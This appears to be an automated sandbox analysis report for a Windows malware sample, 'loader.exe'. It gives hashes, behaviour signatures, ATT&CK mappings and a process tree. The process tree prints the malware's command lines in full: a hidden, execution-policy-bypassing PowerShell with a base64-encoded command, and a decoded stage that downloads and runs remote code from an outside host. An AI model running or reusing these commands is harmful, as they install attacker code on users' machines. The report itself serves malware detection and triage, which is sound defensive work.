66a1f6ccc9f869945bec8149f1af5ce5bb587d3d25c8008cfdc0bf3c0cebf9c2

Analysis

max time kernel
150s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 18:38

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General

Target
loader.exe
Size 4.5MB
Sample261027-w97kqaec56
SHA256 66a1f6ccc9f869945bec8149f1af5ce5bb587d3d25c8008cfdc0bf3c0cebf9c2
MD5 42fe4a56c232d4f65bfa7ad9eab99812
SHA1 ff382fff460371f167ae09d2f2cf54d7d6264a0b
SHA512 3694acd3980705493876209de679cd316f596f5255be2a0eb23971dbef18a8c54adb08f7dad42217ca855768910bba8d6f1d9d69f74429f2a64af9f9fc29c1c6
SSDEEP 98304:+bwdaDFrhpwBP/OlsLzFmNfW6FJKxxfZA4AnyxpELRSKE+R1Y:+bUEFHGpELcoR1Y
TLSH
T131269DC6BF88F5E0C4A48834B916D5BDC6737C7A8A11468732D7FB1F2A37180552B92B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5564	powershell.exe
8	5772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5564	powershell.exe
5772	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	O4bL6Cpwn4kO

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5564	powershell.exe
5564	powershell.exe
5772	powershell.exe
5772	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5564	powershell.exe
Token: SeDebugPrivilege	5772	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4540 wrote to memory of 2036	4540	loader.exe	89
PID 4540 wrote to memory of 4228	4540	loader.exe	90
PID 4228 wrote to memory of 5564	4228	O4bL6Cpwn4kO	91
PID 5564 wrote to memory of 5772	5564	powershell.exe	96

C:\Users\Admin\AppData\Local\Temp\loader.exe
"C:\Users\Admin\AppData\Local\Temp\loader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4540
- C:\Users\Admin\AppData\Local\Temp\3564723086\zmstage.exe
  "C:\Users\Admin\AppData\Local\Temp\3564723086\zmstage.exe"
  2⤵
  PID:2036
- C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO
  "C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO"
  2⤵
  - Checks BIOS information in registry
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 954acb90d923aa942cffc7eba366ca8c79c4d9a61046316489f09ce12d6a5ad4
MD5 6998bd7dcc109f5a9f39a2178d0b2283
SHA1 4825b5632dc0402c3094ec9e1cf13b25ca50527a
SHA512 23974efe0ad6e130b7ebe4faf77652bbc926084854a9b987410f4114294444b82a48a40d3beb5fc5738f0543a8fe956276deb7c8189216b41fa2176dfb8173ff
TLSH
T14B219837F3CC8614D88A403A52CDAC1036B287DBC0DECE9BBB84D544B42F689DE69160
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_qdmti3ik.10d.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qdmti3ik.10d.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/5564-13-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-14-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-8-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-10-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-11-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-12-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-0-0x00007FFCB340F000-0x00007FFCB3410000-memory.dmp

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memory/5564-7-0x00000254A6480000-0x00000254A64A2000-memory.dmp

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memory/5564-15-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-16-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-17-0x00000254BEEC0000-0x00000254BF082000-memory.dmp

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memory/5564-20-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-19-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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memory/5564-1-0x00007FFCB3280000-0x00007FFCB3C24000-memory.dmp

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